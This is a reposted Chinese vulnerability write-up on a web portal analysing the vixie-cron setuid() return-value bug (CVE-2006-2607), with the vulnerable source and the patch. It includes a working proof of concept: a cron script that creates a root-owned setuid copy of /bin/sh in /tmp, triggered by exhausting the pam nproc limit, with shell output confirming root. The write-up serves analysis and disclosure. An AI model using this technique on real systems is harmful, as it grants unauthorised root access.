首页 网络安全 安全学院 查看内容

Setuid() - nproc limit 类型漏洞之深入分析

2009-2-4 18:17 932 0

摘要: Setuid() - nproc limit 类型漏洞之深入分析         ...
关键词: nbsp axis root localhost 0.0 进程 Setuid temp Content 漏洞

Setuid() - nproc limit 类型漏洞之深入分析                                         (PST) ---------[ Subject   : Setuid() - nproc limit 类型漏洞之深入分析    ] ---------[ Author    : axis([email protected])                       ] ---------[ Copyright : www.ph4nt0m.org    www.secwiki.com           ] ---------[ Date      : 07/20/2006                                   ] ---------[ Version   : 1.0                                          ] |=-----------------------------------------------------------------------------=| ---------[ Table of Contents ]   0x110 - 前言   0x120 - cron提升权限漏洞   0x130 - 深入分析   0x140 - Conclusion   0x150 - Reference |=-----------------------------------------------------------------------------=| ---------[ 0x110 - 前言 ]     前段时间出现了一种新的类型的漏洞,就是未正确检查setuid()函数的返回值.     setuid()如果执行成功,将返回0,如果执行失败,将返回-1.如果程序以root的身份运行,假设该程序正常setuid(uid)后,讲降低权限为普通用户,但是由于未检查setuid()的返回值,也就是说,出于一些原因,setuid失败了,那么程序可能还将继续以root身份运行.这就导致了一些非常危险的事情可能发生.      ---------[ 0x110 - vixie cron提升权限漏洞 ]     前段时间出的vixie cron提升权限漏洞,就是属于该类型的漏洞     具体公告参见:     http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607     crond的守护进程是以root身份启动的,每个普通用户都可以建立自己的crontab     如果使用了pam_limits.so来限制用户启动的进程数,当用户的crontab里启动的进程数达到了限制数后,就会造成setuid失败,从而该子进程将继承root权限,继续以root身份运行.     具体我们来POC一下,测试平台是Redhat Enterprise Linux 4 Update 4      [axis@localhost temp]$Content$nbsp;uname -a Linux localhost.localdomain 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux [axis@localhost temp]$Content$nbsp;cat /etc/issue Red Hat Enterprise Linux AS release 4 (Nahant Update 2) Kernel \r on an \m [axis@localhost temp]$Content$nbsp;rpm -qa |grep vixie vixie-cron-4.1-36.EL4 [axis@localhost temp]$Content$nbsp;rpm -qa |grep pam pam_ccreds-1-3 pam_smb-1.1.7-5 pam-devel-0.77-66.11 pam-0.77-66.11 pam_passwdqc-0.7.5-2 pam_krb5-2.1.8-1 spamassassin-3.0.4-1.el4 [axis@localhost temp]$Content$nbsp;          首先修改/etc/security/limits.conf     添加如下行:     axis             hard    nproc           400     这句的意思是把axis用户启动的进程限制为400     然后修改/etc/pam.d/crond     添加如下行:     session  required   pam_limits.so     这句的意思是crond使用pam_limits.so,而这个pam的so则是读取/etc/security/limits.conf的配置     所以在这里,cron就会限制axis用户只能运行400个进程了.     然后建立axis需要运行的任务.     建立如下shell脚本 [axis@localhost temp]$Content$nbsp;pwd /home/axis/temp [axis@localhost temp]$Content$nbsp;cat x.sh #!/bin/sh cp /bin/sh /tmp/sh chown root:root /tmp/sh chmod 4755 /tmp/sh sleep 1000000; [axis@localhost temp]$Content$nbsp;     该脚本会在/tmp下建立一个suid shell .    然后添加到axis的crontab里: [axis@localhost temp]$Content$nbsp;crontab -e * * * * * /home/axis/temp/x.sh ~ ~ ~ ~     保存退出后,就已经建立好了任务了 [axis@localhost temp]$Content$nbsp;crontab -l * * * * * /home/axis/temp/x.sh [axis@localhost temp]$Content$nbsp; 这样每分钟,就会运行一次x.sh 仔细看x.sh,因为可以发现,如果没有root权限,那么建立出来的/tmp/sh属主只能是axis. 查看下当前用户的进程数 [axis@localhost temp]$Content$nbsp;ps axun | grep ’^ *500 ’ | wc -l 4 [axis@localhost temp]$Content$nbsp; 只有4个,而前面在/etc/security/limits.conf里限制axis进程数为400 那么,使用一些消耗的进程 [axis@localhost temp]$Content$nbsp;./daemon -s 100000 -p 380 创建指定的进程数量,父进程退出。 [axis@localhost temp]$Content$nbsp;ps axun | grep ’^ *500 ’ | wc -l 390 [axis@localhost temp]$Content$nbsp; daemon这个小程序的作用是在后台启动进程,每个进程sleep 100000s,这里我们启动了380个进程,所以现在进程总数是390 马上就快到400了 [axis@localhost temp]$Content$nbsp;ll /tmp total 608 -rwsr-xr-x  1 axis axis 616312 Jul 21 18:26 sh [axis@localhost temp]$Content$nbsp; 可以看到现在/tmp/sh还是axis为属主,说明x.sh还是以axis身份运行的. 过了几分钟后 [root@localhost ~]# ll /tmp total 608 -rwsr-xr-x  1 root root 616312 Jul 21 18:40 sh [root@localhost ~]# ps axun | grep ’^ *500 ’ | wc -l 400 [root@localhost ~]#  可以看到/tmp/sh变成属主为root了! [root@localhost ~]# ps aufx ...... root      2460  0.0  0.0  3440  512 ?        Ss   Jul12   0:00 gpm -m /dev/input/mice -t exps2 root      2470  0.0  0.0  6400 1096 ?        Ss   Jul12   0:00 crond root      6020  0.0  0.0  6984 1444 ?        S    18:36   0:00  \_ crond axis      6021  0.0  0.0  3536  848 ?        Ss   18:36   0:00  |   \_ /bin/sh /home/axis/temp/x.sh axis      6026  0.0  0.0  3040  456 ?        S    18:36   0:00  |   |   \_ sleep 1000000 axis      6024  0.0  0.1  7956 2556 ?        S    18:36   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t root      6035  0.0  0.0  6984 1444 ?        S    18:37   0:00  \_ crond axis      6036  0.0  0.0  3252  844 ?        Ss   18:37   0:00  |   \_ /bin/sh /home/axis/temp/x.sh axis      6041  0.0  0.0  2576  456 ?        S    18:37   0:00  |   |   \_ sleep 1000000 axis      6039  0.0  0.1  7164 2564 ?        S    18:37   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t root      6073  0.0  0.0  6984 1444 ?        S    18:38   0:00  \_ crond axis      6074  0.0  0.0  3096  848 ?        Ss   18:38   0:00  |   \_ /bin/sh /home/axis/temp/x.sh axis      6079  0.0  0.0  2456  456 ?        S    18:38   0:00  |   |   \_ sleep 1000000 axis      6077  0.0  0.1  6532 2564 ?        S    18:38   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t root      6481  0.0  0.0  6984 1444 ?        S    18:39   0:00  \_ crond axis      6482  0.0  0.0  2568  844 ?        Ss   18:39   0:00  |   \_ /bin/sh /home/axis/temp/x.sh axis      6487  0.0  0.0  2760  456 ?        S    18:39   0:00  |   |   \_ sleep 1000000 root      6485  0.0  0.0     0    0 ?        Z    18:39   0:00  |   \_ [crond] <defunct> root      6507  0.0  0.0  6980 1420 ?        S    18:40   0:00  \_ crond root      6508  0.0  0.0  3912  848 ?        Ss   18:40   0:00      \_ /bin/sh /home/axis/temp/x.sh root      6512  0.0  0.0  3080  456 ?        S    18:40   0:00          \_ sleep 1000000 xfs       2496  0.0  0.0  4228 1416 ?        Ss   Jul12   0:00 xfs -droppriv -daemon root      2515  0.0  0.0  2024  700 ?        Ss   Jul12   0:00 /usr/sbin/atd dbus      2525  0.0  0.0  3160 1024 ?        Ss   Jul12   0:00 dbus-daemon-1 --system root      2538  0.0  0.0  4168 1028 ?        Ss   Jul12   0:00 cups-config-daemon ...... 注意这里! root      6507  0.0  0.0  6980 1420 ?        S    18:40   0:00  \_ crond root      6508  0.0  0.0  3912  848 ?        Ss   18:40   0:00      \_ /bin/sh /home/axis/temp/x.sh root      6512  0.0  0.0  3080  456 ?        S    18:40   0:00          \_ sleep 1000000 本来应该是以axis用户身份运行的x.sh,变成以root身份运行了! ---------[ 0x110 - 深入分析 ]     造成上面漏洞的原因是多方面的.首先,如果在/etc/security/limits.conf里限制了用户的进程数,那么pam_limits.so将调用pam_open_session(),如果是root调用他,则会返回一个PAM_SUCCESS,同时以root执行下去.     但是当用户进程数达到限制的个数后,pam-0.79-9.6照样允许pam_open_session()成功执行下去,但是这个时候,crond的子进程却会setuid()失败, 而vixie-cron-4.1并没有检查setuid()的返回值,没有检查他是否已经setuid()成功,所以本来应该用setuid()来降权的,却照样以root身份在运行.而此时fork()却是被允许的,即便是已经达到了用户的最大进程数,所以,任务就以root身份继续运行下去了!!     我们可以看看代码,在do_command.c里: ...... void do_command(entry *e, user *u) {         Debug(DPROC, ("[%ld] do_command(%s, (%s,%ld,%ld))\n",                       (long)getpid(), e->cmd, u->name,                       (long)e->pwd->pw_uid, (long)e->pwd->pw_gid))         /* fork to become asynchronous -- parent process is done immediately,          * and continues to run the normal cron code, which means return to          * tick().  the child and grandchild don’t leave this function, alive.          *          * vfork() is unsuitable, since we have much to do, and the parent          * needs to be able to run off and fork other processes.          */         switch (fork()) {         case -1:                 log_it("CRON", getpid(), "error", "can’t fork");                 break;         case 0:                 /* child process */                 acquire_daemonlock(1);                 child_process(e, u);                 Debug(DPROC, ("[%ld] child process done, exiting\n",                               (long)getpid()))                 _exit(OK_EXIT);                 break;         default:                 /* parent process */                 break;         } ......                 /* set our directory, uid and gid.  Set gid first, since once                  * we set uid, we’ve lost root privledges.                  */ #ifdef LOGIN_CAP                 { #ifdef BSD_AUTH                         auth_session_t *as; #endif ...... #else                 setgid(e->pwd->pw_gid);                 initgroups(usernm, e->pwd->pw_gid); #if (defined(BSD)) && (BSD >= 199103)                 setlogin(usernm); #endif /* BSD */                 setuid(e->pwd->pw_uid); /* we aren’t root after this... */ #endif /* LOGIN_CAP */                 chdir(env_get("HOME", e->envp)); 注意看这里 setgid(e->pwd->pw_gid); ...... setuid(e->pwd->pw_uid); /* we aren’t root after this... */     这里仅仅是简单的执行setuid(),并没有做任何的检查返回值的措施. 再看看patch就更清楚了 [root@localhost SOURCES]# cat vixie-cron-4.1-privilege_escalation.patch  --- vixie-cron-4.1/do_command.c.orig    2006-05-29 16:45:32.000000000 +0200 +++ vixie-cron-4.1/do_command.c 2006-05-29 16:48:28.000000000 +0200 @@ -300,12 +300,24 @@                         }                 } #else -               setgid(e->pwd->pw_gid); +                 initgroups(usernm, e->pwd->pw_gid); #if (defined(BSD)) && (BSD >= 199103)                 setlogin(usernm); #endif /* BSD */ -               setuid(e->pwd->pw_uid); /* we aren’t root after this... */ + +       if ( setgid(e->pwd->pw_gid) == -1 ) { +               fprintf(stderr,"can’t set gid for %s\n", e->pwd->pw_name); +               _exit(1); +       } + +       if ( setuid(e->pwd->pw_uid) == -1 ) { +               fprintf(stderr,"can’t set uid for %s\n", e->pwd->pw_name); +               _exit(1); +       } + +               /* we aren’t root after this... */ + #endif /* LOGIN_CAP */                 chdir(env_get("HOME", e->envp)); [root@localhost SOURCES]#  在补丁里,对setuid()和setgid()的返回值都加上了限制.     这个漏洞主要是pam的特性造成的,即如果是root执行pam_open_session(),那么是可以继续fork()的,即使是user nproc limit达到了限制数,但是此时setuid()却fail了,所以造成了这个问题.其本质就是:fork()正常执行,而setuid()却失败了.     在Josh的blog上,他曾经提到在2.6内核中,默认给每个用户设置了nproc limit,所以对于2.6内核,是默认都可以成功提权的.     见:http://www.bress.net/blog/archives/34-setuid-madness.html     其实这是不正确的.     init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2;     init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2;          这里确实是限制了用户的进程数,但是RLIMIT_NPROC在2.4内核中就有了,进程数与内存大小等都有关系      [root@localhost ~]# ulimit -u 32764 [root@localhost ~]#      每个用户默认是可以启动32764个进程的,虽然可以使用ulimit -u命令来修改他,但是与/etc/security/limits.conf里限制的user nproc limit还是有区别的.     经过测试,直接使用ulimit -u来修改进程数,是无法再fork()出来新的用户进程的,这是因为前面提到过这个漏洞还与pam是相关的,利用了pam的特性,会一直成功的fork() ---------[ 0x110 - Conclusion ]     综上所述,要成功利用该类型的漏洞,需要满足三个条件:     1) 程序以root身份运行,同时fork()出子进程,其子进程通过setuid()降权     2) setuid()失败,但是程序并未检查setuid()的返回值     3) setuid()失败后,还能够继续成功fork(),这样就是以root身份运行了,从而达到了提权的目的.     pam的nproc limit只是一个例子,只要满足了上面3个条件,应该说都存在此类缺陷,是否还有更多的漏洞来等待我们的挖掘呢?!     最后感谢 thiefox,gary ---------[ 0x110 - Reference ] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=178431 http://www.bress.net/blog/archives/34-setuid-madness.html -EOF- 
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部